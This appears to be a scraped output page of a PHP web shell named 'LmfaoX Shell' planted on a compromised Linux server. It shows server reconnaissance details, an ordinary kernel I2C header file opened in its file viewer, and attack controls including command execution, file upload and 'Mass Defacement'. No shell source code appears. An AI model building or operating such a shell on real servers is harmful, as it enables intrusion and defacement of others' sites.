ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:21.9 GB of 70.42 GB (31.11%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ linux-headers-3.0.0-14/ arch/ arm/ mach-lpc32xx/ include/ mach/ - drwxr-xr-x

Directory:
Viewing file:     i2c.h (1.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * PNX4008-specific tweaks for I2C IP3204 block
 *
 * Author: Vitaly Wool <vwool@ru.mvista.com>
 *
 * 2005 (c) MontaVista Software, Inc. This file is licensed under
 * the terms of the GNU General Public License version 2. This program
 * is licensed "as is" without any warranty of any kind, whether express
 * or implied.
 */

#ifndef __ASM_ARCH_I2C_H
#define __ASM_ARCH_I2C_H

enum {
    mstatus_tdi = 0x00000001,
    mstatus_afi = 0x00000002,
    mstatus_nai = 0x00000004,
    mstatus_drmi = 0x00000008,
    mstatus_active = 0x00000020,
    mstatus_scl = 0x00000040,
    mstatus_sda = 0x00000080,
    mstatus_rff = 0x00000100,
    mstatus_rfe = 0x00000200,
    mstatus_tff = 0x00000400,
    mstatus_tfe = 0x00000800,
};

enum {
    mcntrl_tdie = 0x00000001,
    mcntrl_afie = 0x00000002,
    mcntrl_naie = 0x00000004,
    mcntrl_drmie = 0x00000008,
    mcntrl_daie = 0x00000020,
    mcntrl_rffie = 0x00000040,
    mcntrl_tffie = 0x00000080,
    mcntrl_reset = 0x00000100,
    mcntrl_cdbmode = 0x00000400,
};

enum {
    rw_bit = 1 << 0,
    start_bit = 1 << 8,
    stop_bit = 1 << 9,
};

#define I2C_REG_RX(a)    ((a)->ioaddr)        /* Rx FIFO reg (RO) */
#define I2C_REG_TX(a)    ((a)->ioaddr)        /* Tx FIFO reg (WO) */
#define I2C_REG_STS(a)    ((a)->ioaddr + 0x04)    /* Status reg (RO) */
#define I2C_REG_CTL(a)    ((a)->ioaddr + 0x08)    /* Ctl reg */
#define I2C_REG_CKL(a)    ((a)->ioaddr + 0x0c)    /* Clock divider low */
#define I2C_REG_CKH(a)    ((a)->ioaddr + 0x10)    /* Clock divider high */
#define I2C_REG_ADR(a)    ((a)->ioaddr + 0x14)    /* I2C address */
#define I2C_REG_RFL(a)    ((a)->ioaddr + 0x18)    /* Rx FIFO level (RO) */
#define I2C_REG_TFL(a)    ((a)->ioaddr + 0x1c)    /* Tx FIFO level (RO) */
#define I2C_REG_RXB(a)    ((a)->ioaddr + 0x20)    /* Num of bytes Rx-ed (RO) */
#define I2C_REG_TXB(a)    ((a)->ioaddr + 0x24)    /* Num of bytes Tx-ed (RO) */
#define I2C_REG_TXS(a)    ((a)->ioaddr + 0x28)    /* Tx slave FIFO (RO) */
#define I2C_REG_STFL(a)    ((a)->ioaddr + 0x2c)    /* Tx slave FIFO level (RO) */

#define I2C_CHIP_NAME        "PNX4008-I2C"

#endif                /* __ASM_ARCH_I2C_H */
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.4017 seconds